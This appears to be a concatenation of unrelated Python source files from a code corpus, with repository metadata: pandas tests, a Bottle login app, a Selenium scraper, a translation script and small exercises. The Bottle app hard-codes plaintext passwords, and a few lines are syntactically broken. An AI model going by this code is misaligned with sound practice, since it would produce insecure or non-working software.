tm.assert_categorical_equal(Series(c).unique(), exp) c = Categorical([3, 1, 2, 2, 1], categories=[3, 2, 1], ordered=True) # Categorical.unique keeps categories order if ordered=True exp = Categorical([3, 1, 2], categories=[3, 2, 1], ordered=True) tm.assert_categorical_equal(c.unique(), exp) tm.assert_index_equal(Index(c).unique(), Index(exp)) tm.assert_categorical_equal(Series(c).unique(), exp) def test_shift(self): # GH 9416 cat = Categorical(["a", "b", "c", "d", "a"]) # shift forward sp1 = cat.shift(1) xp1 = Categorical([np.nan, "a", "b", "c", "d"]) tm.assert_categorical_equal(sp1, xp1) tm.assert_categorical_equal(cat[:-1], sp1[1:]) # shift back sn2 = cat.shift(-2) xp2 = Categorical( ["c", "d", "a", np.nan, np.nan], categories=["a", "b", "c", "d"] ) tm.assert_categorical_equal(sn2, xp2) tm.assert_categorical_equal(cat[2:], sn2[:-2]) # shift by zero tm.assert_categorical_equal(cat, cat.shift(0)) def test_nbytes(self): cat = Categorical([1, 2, 3]) exp = 3 + 3 * 8 # 3 int8s for values + 3 int64s for categories assert cat.nbytes == exp def test_memory_usage(self): cat = Categorical([1, 2, 3]) # .categories is an index, so we include the hashtable assert 0 < cat.nbytes <= cat.memory_usage() assert 0 < cat.nbytes <= cat.memory_usage(deep=True) cat = Categorical(["foo", "foo", "bar"]) assert cat.memory_usage(deep=True) > cat.nbytes if not PYPY: # sys.getsizeof will call the .memory_usage with # deep=True, and add on some GC overhead diff = cat.memory_usage(deep=True) - sys.getsizeof(cat) assert abs(diff) < 100 def test_map(self): c = Categorical(list("ABABC"), categories=list("CBA"), ordered=True) result = c.map(lambda x: x.lower()) exp = Categorical(list("ababc"), categories=list("cba"), ordered=True) tm.assert_categorical_equal(result, exp) c = Categorical(list("ABABC"), categories=list("ABC"), ordered=False) result = c.map(lambda x: x.lower()) exp = Categorical(list("ababc"), categories=list("abc"), ordered=False) tm.assert_categorical_equal(result, exp) result = c.map(lambda x: 1) # GH 12766: Return an index not an array tm.assert_index_equal(result, Index(np.array([1] * 5, dtype=np.int64))) @pytest.mark.parametrize("value", [1, "True", [1, 2, 3], 5.0]) def test_validate_inplace_raises(self, value): cat = Categorical(["A", "B", "B", "C", "A"]) msg = ( 'For argument "inplace" expected type bool, ' f"received type {type(value).__name__}" ) with pytest.raises(ValueError, match=msg): cat.set_ordered(value=True, inplace=value) with pytest.raises(ValueError, match=msg): cat.as_ordered(inplace=value) with pytest.raises(ValueError, match=msg): cat.as_unordered(inplace=value) with pytest.raises(ValueError, match=msg): cat.set_categories(["X", "Y", "Z"], rename=True, inplace=value) with pytest.raises(ValueError, match=msg): cat.rename_categories(["X", "Y", "Z"], inplace=value) with pytest.raises(ValueError, match=msg): cat.reorder_categories(["X", "Y", "Z"], ordered=True, inplace=value) with pytest.raises(ValueError, match=msg): cat.add_categories(new_categories=["D", "E", "F"], inplace=value) with pytest.raises(ValueError, match=msg): cat.remove_categories(removals=["D", "E", "F"], inplace=value) with pytest.raises(ValueError, match=msg): with tm.assert_produces_warning(FutureWarning): # issue #37643 inplace kwarg deprecated cat.remove_unused_categories(inplace=value) with pytest.raises(ValueError, match=msg): cat.sort_values(inplace=value)

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# This is invalid because it has semicolon(s). # The following comment is to make "black" skip any reformating: # fmt: off pass; pass

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import cherrypy import os.path import time import subprocess from os import listdir from jinja2 import Template import sys def load_template(path): with open(path, 'r') as f: return Template(f.read()) def display_photos(path): photos = [os.path.join(path, f) for f in listdir(path) if os.path.isfile(os.path.join(path, f))] return subprocess.Popen(['feh','-D','3','-F','--zoom','max'] + photos) # Terminates the process responsible for displaying photos def terminate_photos(popen): popen.terminate() def test(): pass class PhotoFrame: album_photos = None @cherrypy.expose def index(self, album=None): username = "Ben" output = load_template("./templates/index.html") if album != None: album_display = os.path.join(album_path, album) print(album_display) if self.album_photos != None: # Kill the running album terminate_photos(self.album_photos) print("test") self.album_photos = display_photos(album_display) else: self.album_photos = display_photos(album_display) album_list = listdir(album_path) print(album_list) return output.render(username=username, album_list=album_list) if __name__ == '__main__': if len(sys.argv) == 1: print("You must supply the album location.") sys.exit() else: album_path = sys.argv[1] cherrypy.server.socket_host = 'localhost' configfile = os.path.join(os.path.dirname(__file__),'server.conf') cherrypy.quickstart(PhotoFrame(),config=configfile)

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# Copyright 2012 NEC Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from django.conf.urls import include from django.conf.urls import url from openstack_dashboard.dashboards.admin.networks.agents \ import views as agent_views from openstack_dashboard.dashboards.admin.networks.ports \ import urls as port_urls from openstack_dashboard.dashboards.admin.networks.ports \ import views as port_views from openstack_dashboard.dashboards.admin.networks.subnets \ import urls as subnet_urls from openstack_dashboard.dashboards.admin.networks.subnets \ import views as subnet_views from openstack_dashboard.dashboards.admin.networks import views NETWORKS = r'^(?P<network_id>[^/]+)/%s$' urlpatterns = [ url(r'^$', views.IndexView.as_view(), name='index'), url(r'^create/$', views.CreateView.as_view(), name='create'), url(NETWORKS % 'update', views.UpdateView.as_view(), name='update'), url(NETWORKS % 'detail', views.DetailView.as_view(), name='detail'), url(NETWORKS % 'agents/add', agent_views.AddView.as_view(), name='adddhcpagent'), url(NETWORKS % 'subnets/create', subnet_views.CreateView.as_view(), name='addsubnet'), url(NETWORKS % 'ports/create', port_views.CreateView.as_view(), name='addport'), url(r'^(?P<network_id>[^/]+)/subnets/(?P<subnet_id>[^/]+)/update$', subnet_views.UpdateView.as_view(), name='editsubnet'), url(r'^(?P<network_id>[^/]+)/ports/(?P<port_id>[^/]+)/update$', port_views.UpdateView.as_view(), name='editport'), url(r'^subnets/', include(subnet_urls, namespace='subnets')), url(r'^ports/', include(port_urls, namespace='ports')), ]

[ "rajagopalx@gmail.com" ]

rajagopalx@gmail.com

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/tests/test_nnrf.py

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permissive

paradoxysm/nnrf

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refs/heads/master

2022-08-02T12:32:42.315918

2020-05-22T02:16:35

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import pytest import numpy as np from sklearn.datasets import load_breast_cancer, load_iris from nnrf import NNRF dataset = load_breast_cancer() data = dataset['data'] data = (data - np.mean(data, axis=0)) / np.std(data, axis=0) min, max = data.min(axis=0), data.max(axis=0) data = (data - min) / (max - min) target = dataset['target'] partition = int(0.8 * len(data)) train_X_bc = data[:partition] train_Y_bc = target[:partition] test_X_bc = data[partition:] test_Y_bc = target[partition:] dataset = load_iris() data = dataset['data'] data = (data - np.mean(data, axis=0)) / np.std(data, axis=0) min, max = data.min(axis=0), data.max(axis=0) data = (data - min) / (max - min) target = dataset['target'] partition = int(0.8 * len(data)) train_X_iris = data[:partition] train_Y_iris = target[:partition] test_X_iris = data[partition:] test_Y_iris = target[partition:] @pytest.mark.parametrize("params", [ ({'n':3}), ({'n':3, 'd':3, 'r':'log2'}), ({'n':3, 'loss':'mse'}), ({'n':3, 'optimizer':'sgd'}), ({'n':3, 'regularize':'l2'}) ]) class TestNNRF: def test_nnrf_binary(self, params): nnrf = NNRF(**params) nnrf.fit(train_X_bc, train_Y_bc) def test_nnrf_multi(self, params): nnrf = NNRF(**params) nnrf.fit(train_X_iris, train_Y_iris) def test_nnrf_predict_binary(self, params): nnrf = NNRF(**params) nnrf.fit(train_X_bc, train_Y_bc) nnrf.predict(test_X_bc) def test_nnrf_predict_multi(self, params): nnrf = NNRF(**params) nnrf.fit(train_X_iris, train_Y_iris) nnrf.predict(test_X_iris) def test_nnrf_unfit(): nnrf = NNRF() with pytest.raises(RuntimeError): nnrf.predict(test_X_bc)

[ "jeffreyc.wang@mail.utoronto.ca" ]

jeffreyc.wang@mail.utoronto.ca

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d7824dc42ac64fcc3c785fed8ff2c7d287945456

/setup.py

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[]

no_license

astrosat/dat-utils

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5bee23c0a3e76b786aaf53e36ad3222a36c6f11c

refs/heads/master

2023-04-25T21:58:40.016488

2021-05-26T12:38:13

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null

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py

import os from setuptools import find_packages, find_namespace_packages, setup with open(os.path.join(os.path.dirname(__file__), "README.md")) as readme: README = readme.read() # allow setup.py to be run from any path os.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir))) # dynamically compute the version, etc.... author = __import__("dat_utils").__author__ title = __import__("dat_utils").__title__ version = __import__("dat_utils").__version__ install_requires = ["pyjwt~=2.1.0"] setup( name=title, version=version, author=author, url="https://github.com/astrosat/dat-utils", description="Data Access Token Utilities", long_description=README, long_description_content_type="text/markdown", install_requires=install_requires, packages=find_packages(exclude=["example"]), include_package_data=True, classifiers=[ "Intended Audience :: Developers", "Operating System :: OS Independent", "Programming Language :: Python", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", ], python_requires=">=3.5", )

[ "allyn.treshansky@gmail.com" ]

allyn.treshansky@gmail.com

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43ef9e99db7596655cc9e726800ddc3efc2ddff1

/AscendingPattern.py

fdf3b332573855a7ca9acbd809f67f129ae6d5b2

[]

no_license

sikinder/Python-Projects

790da09e72428daa2ad2c0280d257eef0da64afc

58bea1f604f0253aceff18a2bede8f5ff6c759e2

refs/heads/master

2021-06-23T17:12:32.228287

2021-01-22T15:30:41

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null

2019-04-24T02:54:48

2019-04-24T02:27:02

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UTF-8

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py

lines = int(input("Enter lines for pyramid: ")) space = " " star = "* " for i in range(0,lines+1): print((lines+1)*space, end = '') print(i*star) lines = lines - 1

[ "sikinderbaig@gmail.com" ]

sikinderbaig@gmail.com

a1c5733dbc7160a32ce830d02b4fdf2f96a3a2fa

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/code/wkmeans/main.py

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[]

no_license

aligator4sah/TAME

79308b41ffa5a9e5ae5df5376942a769612a591b

a1fe28d997fb463d5ad9c85b7aee7cebbbb89f29

refs/heads/master

2023-08-19T06:21:50.738544

2020-12-17T01:33:01

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2023-08-18T09:22:10

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# coding=utf8 import sys reload(sys) sys.setdefaultencoding('utf8') import os import sys sys.path.append('../tools') sys.path.append('../imputation') import copy import time import numpy as np from sklearn import metrics from sklearn.cluster import spectral_clustering import random import json from glob import glob from collections import OrderedDict from tqdm import tqdm from multiprocessing import Process, Pool from sklearn.manifold import TSNE import matplotlib.pyplot as plt import parse, py_op args = parse.args inf = 100000000.0 def compute_weight(dist_mat, groups): weights = [] for g in groups: dist_g = dist_mat[g][:, g] dist_avg = dist_g.mean(0) w = 1 / (1 + np.exp(dist_avg)) w = w / w.sum() weights.append(w) return weights def wkmeans_epoch(dist_mat, groups): assert dist_mat.min() >= 0 weights = compute_weight(dist_mat, groups) cluster_dist = [] for ig,g in enumerate(groups): dist = dist_mat[g] w = weights[ig] dist_avg = np.dot(w, dist) cluster_dist.append(dist_avg) new_groups = [[] for _ in groups] for i in range(len(dist_mat)): dist_i = [d[i] for d in cluster_dist] mind = min(dist_i) new_groups[dist_i.index(mind)].append(i) groups = new_groups return groups def wkmeans(n_cluster): subtyping_dir = os.path.join(args.result_dir, args.dataset, 'subtyping') hadm_id_list = py_op.myreadjson(os.path.join(subtyping_dir, 'hadm_id_list.json')) hadm_dist_matrix = np.load(os.path.join(subtyping_dir, 'hadm_dist_matrix.npy')) assert len(hadm_dist_matrix) == len(hadm_id_list) # initialization indices = range(len(hadm_id_list)) np.random.shuffle(indices) init_groups = [indices[i*10: i*10 + 10] for i in range(n_cluster)] groups = init_groups for epoch in range(100): groups = wkmeans_epoch(hadm_dist_matrix, groups) print([len(g) for g in groups]) if epoch and epoch % 10 == 0: cluster_results = [] for g in groups: cluster_results.append([hadm_id_list[i] for i in g]) py_op.mywritejson(os.path.join(subtyping_dir, 'cluster_results.json'), cluster_results) def main(): wkmeans(args.nc) if __name__ == '__main__': main()

[ "1094990538@qq.com" ]

1094990538@qq.com

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/Python Programs Fall 2018 /Assignments/M6-A6/testBankAccount.py

f79baa223e305a4df9c3adcee3746f0720a85d31

[]

no_license

eliefrancois/Python

832d8f9a66a9f7d93d6bf153ac71cad9f1c6691f

f5ac08caaeecdb1d4f347451be33a8314ebc9d06

refs/heads/master

2020-08-08T05:03:14.486647

2019-10-08T18:48:24

213,724,866

0

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import bankAccount import datetime myObject = bankAccount.bankAccount(123456,10000,2.5,datetime.datetime.today()) myObject.withdraw(3500) myObject.deposit(500) print(myObject.getBalance()) print(myObject.getMonthlyInterest()) print(myObject.getDateCreated().strftime("%a %b %d %H:%M:%S %Z %Y"))

[ "noreply@github.com" ]

eliefrancois.noreply@github.com

e6189bce06455473f3b957791389e8dc1850167b

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/initial/singly_linked_list/singly_linked_list.py

957ae5688219659f6c0a908b10944c21bfddffec

[]

no_license

Aszalea-Calderon/cs-py-data-structures

521bda53c6bf2af11104093de0c3f3b3d41b43e2

abbe10c85d85d078bc316019434f39da00dbcf85

refs/heads/main

2023-03-05T06:40:14.302740

2021-02-08T18:55:59

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2021-02-09T00:01:36

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class Node: """ A class representation of a DoublyLinkedList Node. Each Node will store (1) a value (could be of any type) and (2) a reference to the next_node Node in list. """ def __init__(self, value): self.value = value self.next = None def __repr__(self): return f"Node({self.value}" class LinkedList: """ A class representation of a Singly-Linked-List. Stores a reference to (1) the head (first node in list) and (2) the tail (last node in list). Each item in list will be an instance of class Node (defined above) and each node instance will store a value and a reference to the next_node Node in list. """ def __init__(self): """ Constructs a new instance of a DoublyLinkedList """ # NOTE: Nothing to do in here right now self.head = None self.tail = None def add_to_head(self, value): """ Adds a Node with the given value to the beginning of the list :param value: the value to store at the beginning of the list :return: None """ # TODO: IMPLEMENT THIS METHOD # Please note that the value coming in is NOT an instance of the Node class ############################### # wrap the given value in a Node and insert it as the new head of the list ############################### pass def add_to_tail(self, value): """ Adds a Node with the given value to the end of the list :param value: the value to store at the end of the list :return: None """ # TODO: IMPLEMENT THIS METHOD pass def remove_head(self): """ Remove the item at the beginning of the list. :return: The value of the item being removed """ # TODO: IMPLEMENT THIS METHOD pass def remove_tail(self): """ Remove the item at the end of the list. :return: The value of the item being removed """ # TODO: IMPLEMENT THIS METHOD pass

[ "chaz-kiker@lambdastudents.com" ]

chaz-kiker@lambdastudents.com

c88ac0275bde4912997ca35567020060cd5e0c47

a8b678342127aff21759b5b877d00c94234f7f7e

/Module.py

26ca99ebb7222221b8e5dd36078f0c74b8040016

[]

no_license

sonkute96/hocPython

099c6909b64f8f49e19ec7586d95ef3588bcd2e5

bba1e90dbe8fd12ed4632a06f3c3815ea12d0988

refs/heads/master

2021-01-25T00:55:55.369391

2017-06-18T15:48:15

94,696,877

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py

class Song(object): def __init__(self, lyrics): self.lyrics = lyrics def sing_me_a_song(self): for line in self.lyrics: print line happy_bday = Song(["happy birthday","hello son"]) happy_bday.sing_me_a_song()

[ "phamson@Phams-MacBook-Pro.local" ]

phamson@Phams-MacBook-Pro.local

8b1336a8a8e9dcca112c2c475884faf365aae111

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/Documents/pythoncode/webscrapping_prax.py

8acfddb24dbbff7b7ce535d73f965d00763e3895

[]

no_license

brandon-todd/alien_invasion_game

5c9bb6d5fd2e570ee1e01e16854d2aad6c8cce10

c1c2ade8ad17fd37e5d4193251e313cca16903bc

refs/heads/master

2023-03-15T01:51:02.941347

2021-03-18T20:11:54

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UTF-8

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from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC import json import selenium from selenium import webdriver import time import io import schedule import time stock_history = {} def stocks_check(t): print("I'm working...") PATH = 'C:\Program Files (x86)\chromedriver.exe' driver = webdriver.Chrome(PATH) url = 'https://finance.yahoo.com/most-active' driver.get(url.format(q='Car')) try: change = WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.CSS_SELECTOR,"[aria-label='Change']")) ) names = WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.CSS_SELECTOR,"[aria-label='Name']")) ) Companies = driver.find_elements_by_css_selector("[aria-label='Name']") changes = driver.find_elements_by_css_selector("[aria-label='Change']") lst1 = [i.text for i in Companies] lst2 = [i.text for i in changes] except: driver.quit() for i in range(0, len(lst1)): if lst1[i] not in list(stock_history.keys()): stock_history.update({lst1[i]:[lst2[i]]}) else: stock_history[lst1[i]].append(lst2[i]) print(stock_history) with open('data.txt', 'a') as outfile: json.dump(stock_history, outfile) return "done" schedule.every().day.at("08:58").do(stocks_check,'It is 08:58') while True: schedule.run_pending() time.sleep(30)

[ "brandon-todd@users.noreply.github.com" ]

brandon-todd@users.noreply.github.com

05edffa7e780d484e73b82f8ab0728af5e752681

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/Curso em vídeo/Ex 009 - tabuada.py

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[ "MIT" ]

permissive

Ianashh/Python-Testes

0c3428a6195d9fbaff6c03a244faf0bbb35f6004

83d9e2775833272279b52320f141d759ec952858

refs/heads/main

2023-07-22T10:38:22.662317

2021-09-02T06:41:50

381,902,779

0

null

UTF-8

Python

false

671

py

n = int(input('Digite um numero para ver sua tabuada: ')) cores = {'limpa':'\033[m', 'vermelho':'\033[31m', 'verde':'\033[32m', 'amarelo':'\033[33m', 'azul':'\033[34m', 'lilas':'\033[35m', 'ciano':'\033[36m'} formatação = {'negrito':'\033[1m', 'sublinhado':'\033[4m'} print('_' *15) print('{}{}{} x 01 = {} \n{} x 02 = {} \n{} x 03 = {} \n{} x 04 = {} \n{} x 05 = {} \n{} x 06 = {} \n{} x 07 = {} \n{} x 08 = {} \n{} x 09 = {} \n{} x 10 = {}{}' .format(formatação['sublinhado'],cores['verde'],n, n*1,n, n*2,n, n*3,n, n*4,n, n*5,n, n*6,n, n*7,n, n*8,n, n*9,n, n*10,cores['limpa'])) print('_' *15)

[ "82633785+Ianashh@users.noreply.github.com" ]

82633785+Ianashh@users.noreply.github.com

3ca35f3537a824472f63b7833626c34abcf1e3e6

befafdde28c285c049b924fa58ce6240a4ae8d3c

/python_solution/Backtracking/40_CombinationSumII.py

3c2f5d5b703d0d38f2bbe30c891c104f20adad1e

[]

no_license

Dimen61/leetcode

3364369bda2255b993581c71e2b0b84928e817cc

052bd7915257679877dbe55b60ed1abb7528eaa2

refs/heads/master

2020-12-24T11:11:10.663415

2017-08-15T14:54:41

73,179,221

4

0

null

UTF-8

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false

1,530

py

class Solution(object): def combinationSum2(self, candidates, target): """ :type candidates: List[int] :type target: int :rtype: List[List[int]] """ enable_lst = [False for i in range(target+1)] enable_lst[0] = True candidates.sort() for i in range(target): if enable_lst[i]: for num in candidates: if i+num <= target: enable_lst[i+num] = True if not enable_lst[target]: return [] tmp_result = [] def search(total, index, combs): """ :type total: int :type index: int :rtype: void """ if total == 0: tmp_result.append(combs) return elif index >= len(candidates) or total < 0: return num = candidates[index] if total-num >= 0 and enable_lst[total-num]: search(total-num, index+1, combs+[num]) search(total, index+1, combs) search(target, 0, []) tmp_result.sort() result = [] last = None for item in tmp_result: if not last: last = item result.append(item) else: if last != item: last = item result.append(item) return result

[ "dimen61@gmail.com" ]

dimen61@gmail.com

ab2af8fd45aea04162d59882a3ea970e181727bc

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/app.py

7f7abde535203b00bc2bc0af799b1197ab241215

[ "MIT" ]

permissive

Salvador1994/Sistema_Bottle

133a585fd69a8797eb92ec98d978b6d7d15f5f4b

4ff8a39e7e7f5cf678070cf00e38b05ad2ced654

refs/heads/master

2020-04-03T10:32:57.655145

2018-10-29T11:13:39

155,196,193

0

null

UTF-8

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false

1,679

py

from bottle import route, run from bottle import request, template from bottle import static_file, get from bottle import error import os # static routes @get('/<filename:re:.*\.css>') def stylesheets(filename): return static_file(filename, root='static/css') @get('/<filename:re:.*\.js>') def javascripts(filename): return static_file(filename, root='static/js') @get('/<filename:re:.*\.(jpg|png|gif|ico)>') def images(filename): return static_file(filename, root='static/img') @get('/<filename:re:.*\.(eot|ttf|woff|svg)>') def fonts(filename): return static_file(filename, root='static/fonts') @route('/login') # @get('/login') def login(): return template('login') def check_login(username, password): dic = {'marcos':'python', 'Salvador Bila':'java'} if username in dic.keys() and dic[username] == password: return True return False @route('/') def index(): return template('index') @route('/index') def index(): return template('index') @route('/login', method='POST') # @post('/login') def acao_login(): username = request.forms.get('username') password = request.forms.get('password') if check_login(username, password): return template('Area_Administrativa', sucesso=check_login(username, password), nome=username) else: return template('verificacao_login', sucesso=check_login(username, password), nome=username) @error(404) def error404(error): return template('pagina404') if __name__ == '__main__': if os.environ.get('APP_LOCATION') == 'heroku': run(host='0.0.0.0',port=int(os.environ.get('PORT', 5000))) else: run(host='localhost', port=8080, debug=True, reloader=True)

[ "noreply@github.com" ]

Salvador1994.noreply@github.com

2cfaa7079668d65dafd05f8f281097e1876581ab

9a7f865d0128319183cb43b05fbbb76d2366a1c9

/sluggen/migrations/0001_initial.py

e0cc4cf0130f8e914ced082f1a2dec4c107784fe

[ "MIT" ]

permissive

colonoh/longcat

5bed18237c78e76222126e90ae16706b4dec9070

d5d6044517b36a1e48ba79836ddb43793da0f91b

refs/heads/master

2021-10-08T05:50:49.844173

2020-04-24T05:58:09

253,127,249

0

MIT

2021-09-22T18:50:13

2020-04-05T00:43:12

Python

UTF-8

Python

false

829

py

# Generated by Django 3.0.5 on 2020-04-12 01:47 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Slug', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='date created')), ('url', models.URLField(verbose_name='original version of the URL')), ('slug', models.SlugField(max_length=7, verbose_name='shortened version of the URL')), ('hits', models.PositiveIntegerField(default=0, verbose_name='number of visitors to this slug')), ], ), ]

[ "steve.j.warner@gmail.com" ]

steve.j.warner@gmail.com

68ea54b45f3ec24b7664171fa63a5404d46fb985

e7143b374352cf06d2ac020bff7072563e7f99e1

/rr.py

ceddb020257b4f88e59d7b21cdcdc593e6751623

[]

no_license

zhouguangying1/test

3373bc2c8537ec6af56028ce3aa3230c54b1e319

b76004b5de0e835a269278db715536f54252dee4

refs/heads/master

2022-12-30T01:10:57.615909

2020-10-18T09:56:29

305,017,567

0

null

UTF-8

Python

false

21

py

print('test4444444')

[ "394973674@qq.com" ]

394973674@qq.com

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from random import randint from number_guess_art import logo easy = 10 hard = 5 #Function to check user's guess against actual answer. def check_answer(guess, answer, turns): """checks answer against guess. Returns the number of turns remaining.""" if guess > answer: print("Too high...") return turns - 1 elif guess < answer: print("Too low...") return turns - 1 else: print(f"You got it! The answer was {answer}.") #Make function to set difficulty. def set_difficulty(): level = input("Choose a difficulty. Type 'easy' or 'hard': ") if level == "easy": return easy else: return hard def game(): print(logo) #Choosing a random number between 1 and 100. print("Welcome to 0 to 100 real quick!") print("I'm thinking of a number between 1 and 100.") answer = randint(1, 100) turns = set_difficulty() #Repeat the guessing functionality if they get it wrong. guess = 0 while guess != answer: print(f"You have {turns} attempts remaining to guess the number.") #Let the user guess a number. guess = int(input("Make a guess: ")) #Track the number of turns and reduce by 1 if they get it wrong. turns = check_answer(guess, answer, turns) if turns == 0: print("You've run out of guesses, you lose.") return elif guess != answer: print("Guess again.") game()

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#!/usr/bin/python # Copyright (c) 2014 Wladimir J. van der Laan # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. ''' Run this script from the root of the repository to update all translations from transifex. It will do the following automatically: - fetch all translations using the tx tool - post-process them into valid and committable format - remove invalid control characters - remove location tags (makes diffs less noisy) TODO: - auto-add new translations to the build system according to the translation process ''' from __future__ import division, print_function import subprocess import re import sys import os import io import xml.etree.ElementTree as ET # Name of transifex tool TX = 'tx' # Name of source language file SOURCE_LANG = 'rareshares_en.ts' # Directory with locale files LOCALE_DIR = 'src/qt/locale' # Minimum number of messages for translation to be considered at all MIN_NUM_MESSAGES = 10 def check_at_repository_root(): if not os.path.exists('.git'): print('No .git directory found') print('Execute this script at the root of the repository', file=sys.stderr) exit(1) def fetch_all_translations(): if subprocess.call([TX, 'pull', '-f', '-a']): print('Error while fetching translations', file=sys.stderr) exit(1) def find_format_specifiers(s): '''Find all format specifiers in a string.''' pos = 0 specifiers = [] while True: percent = s.find('%', pos) if percent < 0: break try: specifiers.append(s[percent+1]) except: print('Failed to get specifier') pos = percent+2 return specifiers def split_format_specifiers(specifiers): '''Split format specifiers between numeric (Qt) and others (strprintf)''' numeric = [] other = [] for s in specifiers: if s in {'1','2','3','4','5','6','7','8','9'}: numeric.append(s) else: other.append(s) # numeric (Qt) can be present in any order, others (strprintf) must be in specified order return set(numeric),other def sanitize_string(s): '''Sanitize string for printing''' return s.replace('\n',' ') def check_format_specifiers(source, translation, errors, numerus): source_f = split_format_specifiers(find_format_specifiers(source)) # assert that no source messages contain both Qt and strprintf format specifiers # if this fails, go change the source as this is hacky and confusing! #assert(not(source_f[0] and source_f[1])) try: translation_f = split_format_specifiers(find_format_specifiers(translation)) except IndexError: errors.append("Parse error in translation for '%s': '%s'" % (sanitize_string(source), sanitize_string(translation))) return False else: if source_f != translation_f: if numerus and source_f == (set(), ['n']) and translation_f == (set(), []) and translation.find('%') == -1: # Allow numerus translations to omit %n specifier (usually when it only has one possible value) return True errors.append("Mismatch between '%s' and '%s'" % (sanitize_string(source), sanitize_string(translation))) return False return True def all_ts_files(suffix=''): for filename in os.listdir(LOCALE_DIR): # process only language files, and do not process source language if not filename.endswith('.ts'+suffix) or filename == SOURCE_LANG+suffix: continue if suffix: # remove provided suffix filename = filename[0:-len(suffix)] filepath = os.path.join(LOCALE_DIR, filename) yield(filename, filepath) FIX_RE = re.compile(b'[\x00-\x09\x0b\x0c\x0e-\x1f]') def remove_invalid_characters(s): '''Remove invalid characters from translation string''' return FIX_RE.sub(b'', s) # Override cdata escape function to make our output match Qt's (optional, just for cleaner diffs for # comparison, disable by default) _orig_escape_cdata = None def escape_cdata(text): text = _orig_escape_cdata(text) text = text.replace("'", ''') text = text.replace('"', '"') return text def postprocess_translations(reduce_diff_hacks=False): print('Checking and postprocessing...') if reduce_diff_hacks: global _orig_escape_cdata _orig_escape_cdata = ET._escape_cdata ET._escape_cdata = escape_cdata for (filename,filepath) in all_ts_files(): os.rename(filepath, filepath+'.orig') have_errors = False for (filename,filepath) in all_ts_files('.orig'): # pre-fixups to cope with transifex output parser = ET.XMLParser(encoding='utf-8') # need to override encoding because 'utf8' is not understood only 'utf-8' with open(filepath + '.orig', 'rb') as f: data = f.read() # remove control characters; this must be done over the entire file otherwise the XML parser will fail data = remove_invalid_characters(data) tree = ET.parse(io.BytesIO(data), parser=parser) # iterate over all messages in file root = tree.getroot() for context in root.findall('context'): for message in context.findall('message'): numerus = message.get('numerus') == 'yes' source = message.find('source').text translation_node = message.find('translation') # pick all numerusforms if numerus: translations = [i.text for i in translation_node.findall('numerusform')] else: translations = [translation_node.text] for translation in translations: if translation is None: continue errors = [] valid = check_format_specifiers(source, translation, errors, numerus) for error in errors: print('%s: %s' % (filename, error)) if not valid: # set type to unfinished and clear string if invalid translation_node.clear() translation_node.set('type', 'unfinished') have_errors = True # Remove location tags for location in message.findall('location'): message.remove(location) # Remove entire message if it is an unfinished translation if translation_node.get('type') == 'unfinished': context.remove(message) # check if document is (virtually) empty, and remove it if so num_messages = 0 for context in root.findall('context'): for message in context.findall('message'): num_messages += 1 if num_messages < MIN_NUM_MESSAGES: print('Removing %s, as it contains only %i messages' % (filepath, num_messages)) continue # write fixed-up tree # if diff reduction requested, replace some XML to 'sanitize' to qt formatting if reduce_diff_hacks: out = io.BytesIO() tree.write(out, encoding='utf-8') out = out.getvalue() out = out.replace(b' />', b'/>') with open(filepath, 'wb') as f: f.write(out) else: tree.write(filepath, encoding='utf-8') return have_errors if __name__ == '__main__': check_at_repository_root() # fetch_all_translations() postprocess_translations()

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class Solution: def divide(self, dividend: int, divisor: int) -> int: sign = -1 if (dividend < 0) ^ (divisor < 0) else 1 a = abs(dividend) b = abs(divisor) res = 0 while b<= a: mul = 1 tmp = b while a >= (tmp <<1): tmp <<= 1 mul <<= 1 res += mul a -= tmp res *= sign if res > 2**31 -1 : return 2** 31 -1 else: return res

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class Solution: def reverse(self, x: int) -> int: if x < 0: x = x*(-1) strInt = str(x) strInt = strInt[::-1] y = (int(strInt))*(-1) else: strInt = str(x) strInt = strInt[::-1] y = int(strInt) minimo = (2**31)*(-1) maximo = (2**31) if (y < minimo) or (y > maximo): y = 0 return y

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import sys sys.setrecursionlimit(10**7) # 再帰回数を増やす import math def I(): return int(input()) def LI(): return list(map(int, input().split())) def MI(): return map(int, input().split()) def S(): return input() def LS(): return list(map(str, input().split())) def H(n): return [input() for i in range(n)] mod = 10**9 + 7 def main(): n, k = MI() if k % 2 == 0: n1 = n // k n2 = n1 if n % k >= k // 2: n2 = n1 + 1 else: n1 = n // k n2 = 0 print(n1**3+n2**3) if __name__ == '__main__': main()

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import json from django.test import TestCase # Create your tests here. class EchoViewTestCase(TestCase): def test_echo_basic_call(self): response = self.client.get('/api/v1/echo?msg=hello-world') self.assertEqual(response.status_code, 200) content = json.loads(response.content) self.assertEqual(content['msg'], 'hello-world') def test_echo_missing_msg(self): response = self.client.get('/api/v1/echo') self.assertEqual(response.status_code, 400) content = json.loads(response.content) self.assertTrue('error' in content)

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__author__ = 'hzliyong' cookie = '_da_ntes_uid=3LhpAfObU48aiOR0b28yZYXv;' cookie = cookie.replace(';','') print(cookie) list type = 'a' if type == 'a': list = 'type a' if type == 'b': list = 'type b' print(list)

